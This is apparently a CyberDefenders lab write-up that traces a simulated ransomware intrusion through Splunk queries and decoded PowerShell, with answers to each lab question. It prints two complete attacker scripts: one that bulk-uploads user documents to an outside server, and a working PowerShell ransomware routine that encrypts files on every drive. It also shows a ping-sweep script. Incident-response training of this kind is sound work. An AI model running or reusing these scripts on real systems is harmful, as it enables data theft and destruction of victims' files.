Raining Dinosaurs  —  Storm-2603 Lab Writeup [CyberDefenders]
ScenarioOn November 17, 2025, network monitoring detected unusual outbound traffic from a DMZ server 2026-6-9 08:47:19 Author: infosecwriteups.com(查看原文) 阅读量:10 收藏

Loay Salah

Scenario

On November 17, 2025, network monitoring detected unusual outbound traffic from a DMZ server (10.10.3.0/24) followed by signs of lateral movement toward the internal network (10.10.11.0/24). Hours later, ransomware began encrypting files across multiple endpoints. Investigators recovered a suspicious executable and collected logs from affected systems. Using Splunk and malware analysis techniques, piece together the full attack chain — from initial compromise to final impact.

Initial Access

Q1: This vulnerability was how the attacker gained initial access and later moved to DC01. What is the CVE ID associated with this exploit?

in artifacts directory, you'll find an exe ping.exe zipped file ping.7z , so let’s extract it and analyze it

Press enter or click to view image in full size

It’s a Windows 64-bit program written in Python and C, compiled with Visual Studio, packaged with a modified PyInstaller, containing compressed binary data inside a packed executable.

we can usepyinstxtractor-ng tool to extracts the contents to access its original scripts and resources.

Press enter or click to view image in full size

CVE-2025-59287

Q3: Upon gaining initial access on WSUS-SERVER-01, what user account context were the attacker’s commands executed under?

now, let’s hop on splunk, and run some queries:

index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage
| sort _time asc

Press enter or click to view image in full size

NT AUTHORITY\SYSTEM

Q4: The attacker succeeded in installing a tool to function as a C2 beacon. What is the name of the tool they repurposed for C2?

with more comprehensive query like:

index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
| table _time, User, Image, CommandLine, ParentImage
| sort _time asc

Press enter or click to view image in full size

from that image, we can see that there’s an encoded command just ran, then opened whoami, then another encoded command. so let’s find out the parent image for these encoded command:

velociraptor

Q5: After checking their access level, the attacker executed another command to determine if WSUS-SERVER-01 was part of a domain.
What is the full command that was executed?

with another more query, to see all commands, with reduce some noise:

index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage | sort _time asc

Press enter or click to view image in full size

Press enter or click to view image in full size

Get-ComputerInfo | Select-Object Domain, DomainName, Workgroup

Q6: The attacker performed a network scan to identify live hosts. The scan targeted two specific /24 subnets.
Provide the two network IDs that were scanned, separated by a comma.

with the same last query, just move on some encoded command, and decode these commands with the cyberchef recipe above:

Press enter or click to view image in full size

(10..11 | ForEach-Object { $S = $_; 1..254 | ForEach-Object { "10.10.$S.$_" } })
| ForEach-Object -Parallel { if (Test-Connection -ComputerName $_ -Count 1
-Quiet -ErrorAction SilentlyContinue) { "HOST FOUND: $_" } }
| Out-File -FilePath 'C:\Users\Public\report01.txt' -Append

It performs a fast parallel ping sweep of the 10.10.10.0/24 and 10.10.11.0/24

10.10.10.0, 10.10.11.0

Q7: The attacker’s network scanning script looked for specific open ports to identify valid targets. Besides ports 88, 389, 445, and 3389,
what other port number was the attacker scanning for?

Press enter or click to view image in full size

Press enter or click to view image in full size

8530

Persistence

Q8: Unable to directly RDP into the private network, the attacker created a local account on the DMZ server for remote access.
What is the name of this account?

same same:

Press enter or click to view image in full size

guestuser

Q9: After creating the backdoor account, the attacker connected to WSUS-SERVER-01 via RDP. What was the source IP address of this connection?

index=* host=WSUS-SERVER-01 source="xmlwineventlog:security" EventCode=4624
NOT "chocolatey" NOT "splunk" Logon_Type=10 TargetUserName=guestuser

3.120.140.221

Q10: The attacker configured a legitimate service to repeatedly download and execute their payload, ensuring persistence. At what interval (in seconds) was the service configured to download and execute the payload?

with just a little twist from the last splunk query, since there’s a download, so we’ll just remove User="NT AUTHORITY\\SYSTEM" to see more output:

index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage | sort _time asc

Press enter or click to view image in full size

so it’s downloading thev2.msipayload (second stager) and also execute it, if we took a look at the execution time we'll get the answer:

10 mins interval = 600 secs

600

Lateral Movement

Q11: The attacker downloaded and used a custom tool on WSUS-SERVER-01 to move laterally to the domain controller.
What was the argument passed to this executable to successfully carry its action?

with the same used query before:

index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage | sort _time asc

following this query, we can scroll a little and see this:

Press enter or click to view image in full size

we can see that he executed the same file with 2 different arguments, maybe it’s an error or something

Press enter or click to view image in full size

that’s the first wrong execution, and the following is the second correct one

Press enter or click to view image in full size

also this command can be found directly with more wider query like:

index=* host=WSUS-SERVER-01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
| table _time, User, Image, CommandLine, ParentImage | sort _time asc

just removed the powershell.exe.exe as an image to see all others:

Press enter or click to view image in full size

http://10.10.11.61:8530

Q12: What was the timestamp when the first command was executed on the Domain Controller (DC01) by the attacker after lateral movement?

like the last query, just changed the host to the DC

index=* host=DC01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage | sort _time asc

Press enter or click to view image in full size

dwBoAG8AYQBtAGkA = whoami

2025-11-17 22:29

Privilege Escalation

Q13: The attacker used a native Windows command-line utility to change a domain user’s password. What is the timestamp for this modification?

Get Loay Salah’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

with the same last query also, we just need to decode a lot of powershell encoded commands

index=* host=DC01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
| table _time, User, Image, CommandLine, ParentImage | sort _time asc

Press enter or click to view image in full size

Press enter or click to view image in full size

Press enter or click to view image in full size

2025-11-17 22:35

Q14: Using the compromised domain account identified earlier, the attacker pivoted from the DMZ to the internal network. What is the timestamp of the first successful logon to WKSTN-01?

index=* host=WKSTN-01 source="XmlWinEventLog:security"
earliest="11/17/2025:22:35:00"
EventCode=4624 NOT "chocolatey" NOT "splunk"
| sort _time asc
| head 1
| table _time, Target_User_Name, IpAddress, Logon_Type

this query can get the answer easily, focusing on the timeline that the login must be after the compromised domain account identified in the earlier question 2025-11-17 22:35

Press enter or click to view image in full size

2025-11-17 22:52

Exfiltration

Q15: Analyze the network logs for connections from DC01. How many files were successfully uploaded to the attacker’s exfiltration server?

Now that's a question, thankfully he told us to analyze the network logs, so i got stuck for a while, but eventually found that there's a suricata logs viewed by index=suricata

but before that, we need to identify the source ip and the destination ip first:

source ip is the source ip for the DC, viewed by :

index=* host="DC01"
| stats count by src_ip
| rename src_ip AS "Source IP Address"
| sort -count
| table "Source IP Address", count

Press enter or click to view image in full size

most source ip is the ip address for the Domain Controller: 10.10.11.61

now there’s a lot of destination ip addresses, so how to get the exfiltration server correctly?

after a lot of digging and a lot of powershell encoded commands, one of them can let us understand everything easily, use this efficient query:

index=* host=DC01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
CommandLine!="\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -Version 5.1 -s -NoLogo -NoProfile"
| table _time, User, Image, CommandLine, ParentImage | sort _time desc

Press enter or click to view image in full size

with the 2 latest encoded commands, we can view the penultimate line:

Press enter or click to view image in full size

function GR {$numbers = 1..20;$numbers | Get-Random };
function Upfunction GR {$numbers = 1..20;$numbers | Get-Random };
function Upfile { param ([string]$path = "C:\Users\",
[int]$maxConcurrentJobs = 40) Add-Type -AssemblyName System.Web;
try { $files = Get-ChildItem -Path $path -Recurse -Include
*.doc,*.docx,*.txt,*.xlsx,*.ppt,*.pptx,*.xls -ErrorAction SilentlyContinue
| Where-Object { $_.Length -lt 50MB} | Select-Object -ExpandProperty FullName;
$uploadScriptBlock = { param ($file, $grValue)
try { Add-Type -AssemblyName System.Web;
$fileName = Split-Path -Path $file -Leaf;
$encodedFileName = [System.Web.HttpUtility]::UrlEncode($fileName);
$uploadUrl = "http://18.193.76.209:4000/test/$encodedFileName";
Write-Host "upload $file to $uploadUrl";
$ProgressPreference = 'SilentlyContinue';
$maxRetries = 3;$retryCount = 0; while ($retryCount -lt $maxRetries) { try {
$wc = New-Object System.Net.WebClient;
$wc.UploadFile($uploadUrl, "PUT", $file)
| Out-Null; Write-Host "upload Sucess $fileName"; break } catch
{ $retryCount++; Write-Host "upload $fileName retry $retryCount error: $_";
Start-Sleep -Seconds 2 } finally {$wc.Dispose()} } }
catch { Write-Host "upload $fileName error: $_" } finally {$wc.Dispose()}};
$grValue = GR; $jobs = @(); foreach ($file in $files)
{ while ((Get-Job -State Running).Count -ge $maxConcurrentJobs)
{Start-Sleep -Milliseconds 100} $jobs += Start-Job -ScriptBlock
$uploadScriptBlock -ArgumentList $file, $grValue };
$jobs | Wait-Job | ForEach-Object{ Receive-Job -Job $_ -Keep;
Remove-Job -Job $_ } } catch { Write-Host "getfile error: $_" } };
$drives = @("C:\Users\", "D:\", "E:\", "F:\", "K:\");
foreach ($drive in $drives) { if (Test-Path $drive) {Upfile -Path $drive }
else {Write-Host "Drive $drive is not accessible." -ForegroundColor Yellow}}

now we got the attacker’s exfiltration server: 18.193.76.209:4000

let’s hop on suricata logs and filter with the desired ip addresses and the destination port, so let’s get the answer directly:

index=suricata src_ip="10.10.11.61" dest_ip="18.193.76.209"

there’s more than1000 events, so the it’s all about filtering with event_type=http

262

Q16: What is the MITRE ATT&CK technique ID that best describes the exfiltration method used by the attacker?

since exfiltration is over http only “http://18.193.76.209:4000/test/$encodedFileName"

T1048.003

Impact

Q17: In the final stage of the attack, a ransomware payload was deployed across the compromised machines. What file extension was the ransomware designed to append to encrypted files?

index=* host=DC01 source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1 User = "NT AUTHORITY\\SYSTEM" NOT "chocolatey" NOT "splunk"
Image="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
CommandLine!="\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -Version 5.1 -s -NoLogo -NoProfile"
| table _time, User, Image, CommandLine, ParentImage | sort _time desc

using this query we used before also, and decode last executed command:

function GER($n) {-join (1..$n|%{"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-=+[]{}|;:',.<>?`~"
[(Get-Random -Maximum 74)]})}function err($pl,$sf)
{$rsa=New-Object System.Security.Cryptography.RSACryptoServiceProvider;
$rsa.FromXmlString($sf);$PB=[Text.Encoding]::UTF8.GetBytes($pl);
$rsa.Encrypt($PB,$false)} function gg($path) {$ke = GER(32);$ig =GER(16);
$sf = 'tdIXltqjmTpXRB43p+k6X9+JqBZvsD7+X4GsM0AVh0QS6Oev5RVAaQqc6m2pEKN7AYARcpz9iNy5JOB/T+OtWmqxd42bLH+iAUjc1kc1qk1Cg38t7obrGja8L7UMoJkb97ry0ngak9BlqaS7P+wzApOLVJoBNxaJ2rCoj7+Crh3p3Vm2/7/o4pMjgg4S838jw6aiRbag/v4SR86oupqjBvKxsAcZo5A4NDFoZ29j/IMa6GNpMkVjsNPjvB/GIqGcbTqJkb8HGSXw3KvHqwqfsB+01VTsbO7B8kIkOr4jB/M+bHFwgYkUG4rS2s/yJcOOkzH0tJwEj11tLv2bHSzoQQ==AQAB';
$eec=err -pl $ke+$ig -sf $sf;$eee=[System.Convert]::ToBase64String($eec);
$key=[System.Text.Encoding]::UTF8.GetBytes($ke);
$iv=[System.Text.Encoding]::UTF8.GetBytes($ig);
try{$files=gci $path -Recurse -Include .pdf,.txt, *.doc, *.docx, *.odt, *.rtf, *.md, *.csv, *.tsv, *.jpg, *.jpeg, *.tiff, *.mp3, *.xls, *.xlsx, *.ods, *.ppt, *.pptx, *.odp, *.py, *.java, *.cpp, *.c, *.html, *.css, *.js, *.php, *.swift, *.kotlin, *.go, *.rb, *.sh, *.sql, *.db, *.sqlite, *.sqlite3, *.mdb, *.sql, *.zip, *.rar, *.7z, *.tar, *.gz, *.bz2, *.iso, *.torrent, *.ini, *.json, *.xml, *.log, *.bak, *.cfg, *.psd, *.vmdk
| select -Expand FullName; foreach ($file in $files)
{ try {EFI $file $key $iv $eee} catch{}}} catch {Write-Host $ }}
function EFI($ifi,$key,$iv,$aT) {if($ifi.EndsWith(".xlockxlock",
[System.StringComparison]::OrdinalIgnoreCase)) {return};
$aes = [System.Security.Cryptography.Aes]::Create();$aes.KeySize = 256;
$aes.Key=$key;$aes.IV=$iv;
try{$yy=New-Object System.IO.FileStream($ifi, [System.IO.FileMode]::
Open,[System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::None);
$xx=$aes.CreateEncryptor($aes.Key, $aes.IV);
$mm = New-Object System.Security.Cryptography.CryptoStream($yy, $xx, [System.Security.Cryptography.CryptoStreamMode]::Write);
$yy.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null; $jj = New-Object byte[] ($yy.Length);
$yy.Read($jj, 0, $jj.Length) | Out-Null; $yy.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
$mm.Write($jj, 0, $jj.Length); $mm.FlushFinalBlock(); $se = 1 }
catch { Write-Error $_ } finally {if ($mm) { $mm.Dispose() } if ($yy)
{ $yy.Dispose() } }try {$kk = [System.Text.Encoding]::UTF8.GetBytes($aT);
$bb = New-Object System.IO.FileStream($ifi,[System.IO.FileMode]::
Append,[System.IO.FileAccess]::Write,[System.IO.FileShare]::None);
if ($se){$bb.Write($kk, 0, $kk.Length)}} catch {Write-Error $_} finally
{if ($bb) { $bb.Dispose();if ($se){ren $ifi -NewName $ifi".xlockxlock";}}}};
$vg =gdr -PS FileSystem | select -Expand Root;foreach ($II in $vg)
{gg -path "$II"}

.xlockxlock

Q18: The file extension and techniques observed are associated with a known ransomware group. What is the name of this group?

searching online for ransomware group associated with the ransomare extension.xlockxlock

LockBit

Q19: The attacker deployed ransomware across compromised systems, but the encryption was not entirely successful. What is the name of the first file that the ransomware failed to encrypt on WKSTN-01?

trickiest question! with the last 2 executed commands to run the ransomware and exfiltrate the data, the first file failed to encrypt can be logged in the powershell logs (operational logs) Because the ransomware is written and executed entirely in PowerShell so any file-access errors (like a file being locked, in use, or access-denied) are generated by the PowerShell engine itself, so the failure is logged in the PowerShell Operational log with:
EventCode=4100 “It logs an error related to the PowerShell engine when a script or command fails to run

using a quick query to get the execution time for the ransomware :

index=* source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
NOT "chocolatey" NOT "splunk" EventCode=1 host="WKSTN-01"
| table _time, User, Image, CommandLine, ParentImage
| sort _time desc

Press enter or click to view image in full size

2025-11-18 00:36:17

now we can use our final clean query to et the correct answer:

index=* host="WKSTN-01"
source="XmlWinEventLog:Microsoft-Windows-PowerShell/Operational"
EventCode=4100 earliest="11/18/2025:00:36:17"
| table _time, Payload | sort _time

by sorting the output by time to get the first file correctly:

Press enter or click to view image in full size

auxbase.xml

Thanks For Reading, Hope you enjoyed❤️


文章来源: https://infosecwriteups.com/raining-dinosaurs-storm-2603-lab-writeup-cyberdefenders-9c84daa0d953?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh